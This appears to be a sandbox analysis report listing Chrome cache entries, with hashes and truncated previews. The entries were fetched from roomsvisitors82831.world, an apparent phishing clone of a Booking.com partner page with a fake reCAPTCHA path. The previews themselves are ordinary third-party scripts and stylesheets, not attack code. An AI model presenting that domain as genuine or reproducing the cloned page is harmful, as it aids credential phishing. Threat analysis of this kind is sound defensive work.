Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22445)
Category:	downloaded
Size (bytes):	22446
Entropy (8bit):	5.308445901412534
Encrypted:	false
SSDEEP:
MD5:	1F896D98B7411583B15A172A513F2AA5
SHA1:	FA0A090E659190C28E40B25DDB080B7A52E99A61
SHA-256:	ADE920FD5B00CD298AAE7978673A9A64D0BB3FA593D23E91994EC6B6723EBACE
SHA-512:	0E67EB6B3ACC832DF85626AEEA6D0C522E4CAB202BAE39781DC9EB99C73D38A6298369E5B6154FF81102B865CAA0F0905281C6851671A0D86A3511F252BD7FEB
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/otSDKStub.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	var OneTrustStub=(t=>{var a,o,r,e,l=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.domPurifyScriptName="otDomPurify.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:"",stateName:""}},s=((g=y=y\|\|{})[g.Days=1]="Days",g[g.Weeks=7]="Weeks",g[g.Months=30]="Months",g[g.Years=365]="Years",(g=e=e\|\|{}).Name="O

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (626)
Category:	downloaded
Size (bytes):	291999
Entropy (8bit):	4.881889800833743
Encrypted:	false
SSDEEP:
MD5:	9FEA17827E7276B93643E17D129CC1CF
SHA1:	6A812955AB566785EBD1162345E5ED5DFC7E64DF
SHA-256:	314CB73BA053D12344F09046276B0ACDC35665F5A1FC1078B38576E22C854850
SHA-512:	24A53FF8CACEDA163E891877BD6E4207DB62FC7BAFA44A6EE0403AF7D64512A284021365C297DDD6E47DB1B1CEFC4BD4A79FBF9729F5BE9268EC0B47E1887B4E
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/evergage.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	if (window.Evergage && window.SalesforceInteractions && window.SalesforceInteractions.mcis) {. try {. window.SalesforceInteractions.log.warn("Aborting SDK load since the SalesforceInteractions SDK was already found on this page.");. } catch(e) {}.} else {.window.evergageBeaconParseTimeStart = (new Date().getTime());.'use strict';var Evergage=function(n){function tc(c,d){var a=Object.keys(c);if(Object.getOwnPropertySymbols){var b=Object.getOwnPropertySymbols(c);d&&(b=b.filter(function(a){return Object.getOwnPropertyDescriptor(c,a).enumerable}));a.push.apply(a,b)}return a}function t(c){for(var d=1;d<arguments.length;d++){var a=null!=arguments[d]?arguments[d]:{};d%2?tc(Object(a),!0).forEach(function(b){L(c,b,a[b])}):Object.getOwnPropertyDescriptors?Object.defineProperties(c,Object.getOwnPropertyDescriptors(a)):.tc(Object(a)).forEach(function(b){Object.defineProperty(c,b,Object.getOwnPropertyDescriptor(a,b))})}return c}function uc(c){a:if("object"==typeof c&&c){var d=c[Symbol.

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7002)
Category:	downloaded
Size (bytes):	8833
Entropy (8bit):	5.498073686043754
Encrypted:	false
SSDEEP:
MD5:	0CDC97B2A3540FC531866A14231D1BB4
SHA1:	6A9E83A19FB18DDBBDC3EEA147FEE83684B41C93
SHA-256:	762CEF557955672E84C7213F268280BF305849E6DF9E7A069E2F495DBCDC2A82
SHA-512:	0D15EF29906080B017FF933EF485D29AC24DDA168B8F2CF9967ADBAD44FE2777A157183987DD71C384C961AC6887BDBC363DDEA89370B95ECFF89DAD23CD82F2
Malicious:	false
Reputation:	unknown
URL:	https://zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com/SIE/?Q_ZID=ZN_09tjWJVePhLlACp
Preview:	(function () {. if (typeof window.QSI === 'undefined'){. window.QSI = {};. }.. var tempQSIConfig = {"hostedJSLocation":"https://siteintercept.qualtrics.com/dxjsmodule/","baseURL":"https://siteintercept.qualtrics.com","surveyTakingBaseURL":"https://s.qualtrics.com/spoke/all/jam","BrandTier":"RQqcwhV2J1","zoneId":"ZN_09tjWJVePhLlACp"};.. // If QSI.config is defined in snippet, merge with QSIConfig from orchestrator-handler.. if (typeof window.QSI.config !== 'undefined' && typeof window.QSI.config === 'object') {. // This merges the user defined QSI.config with the handler defined QSIConfig. // If both objects have a property with the same name,. // then the second object property overwrites the first.. for (var attrname in tempQSIConfig) { window.QSI.config[attrname] = tempQSIConfig[attrname]; }. } else {. window.QSI.config = tempQSIConfig;. }.. window.QSI.shouldStripQueryParamsInQLoc = false;.})();../@preserve.**Version

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2047)
Category:	downloaded
Size (bytes):	2901
Entropy (8bit):	5.238759434908014
Encrypted:	false
SSDEEP:
MD5:	285C93596A80013893CCE4AFD64E725D
SHA1:	9B05D70C0C2D554C20AB3F6B96482402D245BA64
SHA-256:	893CA1F27E20EC7FD5D365A294D33E4952BED86A78CA1C80C0628694F1FFEADB
SHA-512:	66B93251AFC99459AEF6A62DFDFAD1EC6B34296B5E4716C7BCC554CC83B8976C6FB85C1EA47675D0A414D0403C0F10DA85AE562A6A842318FC41CD11D370D565
Malicious:	false
Reputation:	unknown
URL:	https://siteintercept.qualtrics.com/dxjsmodule/5.d83df5c454102e31d5df.chunk.js?Q_CLIENTVERSION=2.20.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking
Preview:	./@preserve.Version 2.20.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. (window["WAFQualtricsWebpackJsonP-cloud-2.20.0"]=window["WAFQualtricsWebpackJsonP-cloud-2.20.0"]\|\|[]).push([[5],{40:function(e,n,t){"use strict";t.r(n);var d=function(e,n){this.payload=n,this.type=e};t.d(n,"addPopunderEmbeddedDataHandler",(f

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/analytics.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65508)
Category:	downloaded
Size (bytes):	823410
Entropy (8bit):	5.084179999108661
Encrypted:	false
SSDEEP:
MD5:	A5309D00425178F9D2BA77B72E538091
SHA1:	D3E6131B635E6C4E56AE89588026032185FEDA42
SHA-256:	900C9BDD5C9E6CAD3E25664C56EFAB57A29FF444C70D8214804B7C9D5D4410D2
SHA-512:	AB42E87520351E311F0335F4D25A63A61EA581ECF79A0F1F875BF077DEC63B8CBAFAED9322363E7C58206B644171CD2B31480C3ECB5C7DC624F507E356FCA399
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/css_thYgBDTapfgis9rt_tpzzCXAbOAZ0jjXfrUnLvMjJhI.css
Preview:	/* @license GPL2+ no URL */.:root{--bui_unit_value:8;--bui_unit_smaller:2px;--bui_unit_small:4px;--bui_unit_medium:8px;--bui_unit_large:16px;--bui_unit_larger:24px;--bui_unit_largest:32px;--bui_color_destructive_dark:#a30000;--bui_color_destructive:#c00;--bui_color_destructive_light:#fcb4b4;--bui_color_destructive_lighter:#ffebeb;--bui_color_destructive_lightest:#fff0f0;--bui_color_callout_dark:#bc5b01;--bui_color_callout:#ff8000;--bui_color_callout_light:#ffc489;--bui_color_callout_lighter:#fff0e0;--bui_color_callout_lightest:#fff8f0;--bui_color_complement_dark:#cd8900;--bui_color_complement:#febb02;--bui_color_complement_light:#ffe08a;--bui_color_complement_lighter:#fdf4d8;--bui_color_complement_lightest:#fefbf0;--bui_color_constructive_dark:#006607;--bui_color_constructive:#008009;--bui_color_constructive_light:#97e59c;--bui_color_constructive_lighter:#e7fde9;--bui_color_constructive_lightest:#f1fef2;--bui_color_primary_dark:#00224f;--bui_color_primary:#003580;--bui_color_primary_li

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (48591)
Category:	downloaded
Size (bytes):	420518
Entropy (8bit):	5.465563627145457
Encrypted:	false
SSDEEP:
MD5:	6AD1712D66336230F2C07561E41ED6C0
SHA1:	E6DE41BBAFDCA6A7331F3DC02DDA3B455E8ED1B7
SHA-256:	013DE0B4A012083A415EB1E94B07EB2B05C61EB87CD01A4461CEC8C76C3C0DA5
SHA-512:	B07BEBF3E10EAE682591D87EF6CEFBD3844074129E063D4C01ABDEFAEA491DA944982447AB4450A0DB79F467D4337D2E04B71F57CBEB271E542B68545E827840
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ.html
Preview:	<!DOCTYPE html>. saved from url=(0014)about:internet -->.<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class=" js"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">. .<link rel="preload" href="https://partner.booking.com/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3" as="font" type="font/woff" crossorigin="">.<link rel="preconnect" href="https://bstatic.com/" crossorigin="">.<link rel="preconnect" href="https://cdn.cookielaw.org/" crossorigin="">.<link rel="preconnect" href="https://www.google-analytics.com/" crossorigin="">.<link rel="preconnect" href="https://try.abtasty.com/" crossorigin="">.<link r

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1845)
Category:	downloaded
Size (bytes):	1872
Entropy (8bit):	5.049731756233779
Encrypted:	false
SSDEEP:
MD5:	371C665B076235D8F18A29151F062529
SHA1:	8D2D27B31718661633841E7DE104A652FD19EF45
SHA-256:	AD7149C5B70072FE29A67F98EE24DDEA1A364DA90568D417A8B0B0128D7E19B5
SHA-512:	88215DB376CAB8F3ABDC9544B86B6204F9B8903173EE529BAE87243FD9A251083E85371EB2F3156F5203851736994554C96419E6A7976D411DF9016CCEBB8707
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/ls.unveilhooks.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/! lazysizes - v5.3.1 /..!function(e,t){var a=function(){t(e.lazySizes),e.removeEventListener("lazyunveilread",a,!0)};t=t.bind(null,e,e.document),"object"==typeof module&&module.exports?t(require("lazysizes")):"function"==typeof define&&define.amd?define(["lazysizes"],t):e.lazySizes?a():e.addEventListener("lazyunveilread",a,!0)}(window,function(e,i,o){"use strict";var l,d,u={};function s(e,t,a){var n,r;u[e]\|\|(n=i.createElement(t?"link":"script"),r=i.getElementsByTagName("script")[0],t?(n.rel="stylesheet",n.href=e):(n.onload=function(){n.onerror=null,n.onload=null,a()},n.onerror=n.onload,n.src=e),u[e]=!0,u[n.src\|\|n.href]=!0,r.parentNode.insertBefore(n,r))}i.addEventListener&&(l=function(e,t){var a=i.createElement("img");a.onload=function(){a.onload=null,a.onerror=null,a=null,t()},a.onerror=a.onload,a.src=e,a&&a.complete&&a.onload&&a.onload()},addEventListener("lazybeforeunveil",function(e){var t,a,n;if(e.detail.instance==o&&!e.defaultPrevented){var r=e.target;if("none"==r.preload&&(r.

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64779)
Category:	dropped
Size (bytes):	79789
Entropy (8bit):	5.316053921703045
Encrypted:	false
SSDEEP:
MD5:	B60F5EED12273A0FC6D4D1B83CE9AB3A
SHA1:	5FCDD04B7C1A8BB93980CAE79A972F2655226015
SHA-256:	945B88EF669DED280836CF5628FF13BBE817E6616A37420897A24D767EDB05C6
SHA-512:	1D964C159E111A4BA4AB56DA9E230019C1FB69B25593D71A73AED39D6516E32DB09A352BDE9AC3D344AA8268248797C1DCD9E44A667A598EF0FD3B81510713E4
Malicious:	false
Reputation:	unknown
Preview:	./@preserve.Version 2.22.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. (window["WAFQualtricsWebpackJsonP-cloud-2.22.0"]=window["WAFQualtricsWebpackJsonP-cloud-2.22.0"]\|\|[]).push([[8],{17:function(e,t,n){"use strict";n.d(t,"a",(function(){return i})),n.d(t,"e",(function(){return r})),n.d(t,"f",(function(){return

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28874)
Category:	downloaded
Size (bytes):	29728
Entropy (8bit):	5.20772363487079
Encrypted:	false
SSDEEP:
MD5:	C1643FB7FE40A703D96514C07A1BE5A1
SHA1:	B642C92B8E68715A9BA3F912017601E37392461D
SHA-256:	8828EAD6432A4C07B9D8521310903626A091CABE4EA12A432A18B80B2DA35C5B
SHA-512:	E9FB60C324C2215C425F04AF6E33DA220BDA69041D4D33D9967764CB4D176F4C8B72360DC9A8872DD226F9EF033DC1EE8BAA295716BF5A50228ECE38772B05CE
Malicious:	false
Reputation:	unknown
URL:	https://siteintercept.qualtrics.com/dxjsmodule/1.a0af9a4d429059568f93.chunk.js?Q_CLIENTVERSION=2.22.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking
Preview:	./@preserve.Version 2.22.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. (window["WAFQualtricsWebpackJsonP-cloud-2.22.0"]=window["WAFQualtricsWebpackJsonP-cloud-2.22.0"]\|\|[]).push([[1],{29:function(e,t,i){"use strict";i.d(t,"a",(function(){return o}));var n=function(e,t,i,n){return new(i\|\|(i=Promise))((function(r

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	471790
Entropy (8bit):	5.3590291623356086
Encrypted:	false
SSDEEP:
MD5:	3ECC3E562BFFB3A0279C708D980E164E
SHA1:	21E09375A078200EE860C6CABFFD3EE791C8CB6D
SHA-256:	EA345FFF49064976D477CBA358FA7A9B7D44FE3F2603ECE439EC7CCECA25B0AE
SHA-512:	D91BBF4D5C9754E559F4F35031B56399E43BD38B695EA2E56E5466329E46B7FD93549D1FC9FAA228341B0D20BDCD762936C691776B6CA3CC2E4CE7198C54E154
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/otBannerSdk.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/** . * onetrust-banner-sdk. * v202410.1.0. * by OneTrust LLC. * Copyright 2024 . */.(()=>{var D=function(e,t){return(D=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}))(e,t)};function x(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function o(){this.constructor=e}D(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function F(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.value):((t=e.value)instanceof a?t:new a(function(e){e(t)})).th

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (396)
Category:	downloaded
Size (bytes):	397
Entropy (8bit):	5.070550779198727
Encrypted:	false
SSDEEP:
MD5:	889FACB2302E23B22AC69BBECD36961B
SHA1:	F26F7CDF7AE4AF91C478E9A873A3C43B93001E51
SHA-256:	FEBFE29A17D9835307EAE8D99B8302BD83FA9A4635AAF2C0E0DE571593798811
SHA-512:	C6D70F5D56FDDBE21000EB9EF7BE38F967A8CE337960B5AE265CB3D783D37FC6831DCEFA144F15C09078EB300D3F45C4D4B734AF264DE703CF8ADA4BE2F18C12
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/buiInitComponents.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	.(function($,Drupal,window,once){Drupal.behaviors.buiInitComponents={attach:function attach(){var profileBlock=$('.block-activity-feed-user, .block-follow-user');var checkExist='';$(once('buiInitComponents',profileBlock)).each(function(){checkExist=setInterval(function(){if(window.BUI!==undefined){window.BUI.initComponents();clearInterval(checkExist);}},100);});}};})(jQuery,Drupal,window,once);

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1210)
Category:	downloaded
Size (bytes):	1280
Entropy (8bit):	5.24449971612474
Encrypted:	false
SSDEEP:
MD5:	28EA180E3FEFE11D263ED2052A3CBEDC
SHA1:	2CAB6CF3FBCEAC0AEC4EAFEAC08E9501CDCFCE77
SHA-256:	B4802A25C8AB499057A3E341740B9C8A74062E8CCB84AF347FEA6E46F8F3EAFA
SHA-512:	72A1BA6EE422CB0F3B378FFD8083A14C661D324A00D0801A55A955647987030B7B3E9E5994AD66FAAD091A797C72E6703B08CDADDE8E345820C445EA41DEF5F4
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/css_H7dPp81WTvvS--0HVXMJ9Hozig2DMTF7X1aURkZvL00.css
Preview:	/* @license GPL-2.0-or-later https://www.drupal.org/licensing/faq */.body{background:none;color:#000000;font-family:Verdana,Tahoma,sans-serif;font-size:14pt;line-height:1.45;margin:0 !important;padding:0 !important;width:100% !important;}h1,h2,h3,h4,h5,h6{page-break-after:avoid;}h1{font-size:19pt;}h2{font-size:17pt;}h3{font-size:15pt;}h4,h5,h6{font-size:14pt;}p,h2,h3{orphans:3;widows:3;}code{font:12pt Courier,monospace;}blockquote{font-size:12pt;margin:1.2em;padding:1em;}hr{background-color:#cccccc;}img{max-width:100% !important;}a img{border:none;}a:link,a:visited{background:transparent;color:#333333;font-weight:700;text-decoration:underline;}a:link[href^="http://"]:after,a[href^="http://"]:visited:after{content:" (" attr(href) ") ";font-size:90%;}abbr[title]:after{content:" (" attr(title) ")";}a[href^="http://"]{color:#000000;}a[href$='.jpg']:after,a[href$='.jpeg']:after,a[href$='.gif']:after,a[href$='.png']:after{content:" (" attr(href) ") ";display:none;}table{margin:1px;text-align

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9217)
Category:	downloaded
Size (bytes):	244375
Entropy (8bit):	5.4541358501238815
Encrypted:	false
SSDEEP:
MD5:	98A1AA6D0155EA8597C93CD050CE5808
SHA1:	C844C1CBAA79A4F09F50E2DF3F648B8B5AA6CB5E
SHA-256:	527BF3DACC5EB62211130FE4BF315C682861320AB25B4AA2EFE6EA87A760DB8C
SHA-512:	BB01621E0CBE1185D2167CEDB9517A29FE6537AE0E23254243DF90F36A66A0E1D91034E9A772E76C94FC1E1E969DB9082177777EC6085A752B3BCB9BC8B98BC2
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/fbevents.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (662), with CRLF line terminators
Category:	downloaded
Size (bytes):	1012714
Entropy (8bit):	4.342276546350772
Encrypted:	false
SSDEEP:
MD5:	F0A8A075B3345750BFA229DBFE7CE910
SHA1:	92E6E12B068DDE31AC226104E49B4FCFBD3B8C17
SHA-256:	061908DE4EC68F7283CF57C3D1FE2D7CE0BD84DDC5A33D71D193C537E3ADC238
SHA-512:	20D0D3A7C8FD20632C1DD558E52E6877B91409CFE157E4FE9D8F8AB6967C4B3F771AF3B44429267A471B86AD35AF63B3CB88462848DE35AB2AC647CD630ED5E3
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/releases/pPK749sccDmVW_9DSeTMVvh2/recaptcha__en.js
Preview:	(function() {.. /.... Copyright The Closure Library Authors... SPDX-License-Identifier: Apache-2.0../.. /.... Copyright Google LLC.. SPDX-License-Identifier: Apache-2.0../.. /.... Copyright 2005, 2007 Bob Ippolito. All Rights Reserved... Copyright The Closure Library Authors... SPDX-License-Identifier: MIT../.. /.. Copyright The Closure Library Authors... SPDX-License-Identifier: Apache-2.0../.. var T = function() {.. return [function(r, d, h, V, R, K, Y, S, N, D, F, E, l, B, C, m) {.. return (r \| 32) == (((C = ["fr", "flat", 2],.. r) - C[2] >> 4 \|\| (m = new Promise(function(P) {.. window.addEventListener("visibilitychange", P, {.. once: !0.. }),.. document.hidden \|\| P().. }.. )),.. r - 7 >> 4) \|\| (E = [2654435761, 0, "1"],.. Y.wb = K === void 0 ? !1 : K,.. B = b[38](26, Y, V),.. N = g[16](55, B),..

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8065)
Category:	downloaded
Size (bytes):	9896
Entropy (8bit):	5.484934295933169
Encrypted:	false
SSDEEP:
MD5:	3E08100854CF7C401F1DDE1181477614
SHA1:	ED6A002D59D56B91E4535F262BBBEEC4BB5C2971
SHA-256:	1905760876221A4DD640CCC29B900E2B317CE583B04C5B49923916FF0752B1EC
SHA-512:	A0B5BDD5855C727B1771D65613BC39352192F726BD7A5ABB4F645018861B6DCB088ACB7C683197DF42DBA254194A84080AF98C779285B186CDB6122158F16FF5
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/saved_resource(1)
Preview:	(function () {. if (typeof window.QSI === 'undefined'){. window.QSI = {};. }.. var tempQSIConfig = {"hostedJSLocation":"https://siteintercept.qualtrics.com/dxjsmodule/","baseURL":"https://siteintercept.qualtrics.com","surveyTakingBaseURL":"https://s.qualtrics.com/spoke/all/jam","BrandTier":"RQqcwhV2J1","zoneId":"ZN_3Eum1ldyL0aIh0i"};.. // If QSI.config is defined in snippet, merge with QSIConfig from orchestrator-handler.. if (typeof window.QSI.config !== 'undefined' && typeof window.QSI.config === 'object') {. // This merges the user defined QSI.config with the handler defined QSIConfig. // If both objects have a property with the same name,. // then the second object property overwrites the first.. for (var attrname in tempQSIConfig) { window.QSI.config[attrname] = tempQSIConfig[attrname]; }. } else {. window.QSI.config = tempQSIConfig;. }.. window.QSI.shouldStripQueryParamsInQLoc = false;.})();../@preserve.**Version

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65529), with no line terminators
Category:	downloaded
Size (bytes):	835596
Entropy (8bit):	5.389873462106651
Encrypted:	false
SSDEEP:
MD5:	24985F195AA32DDE1A8F541BBB02EDD0
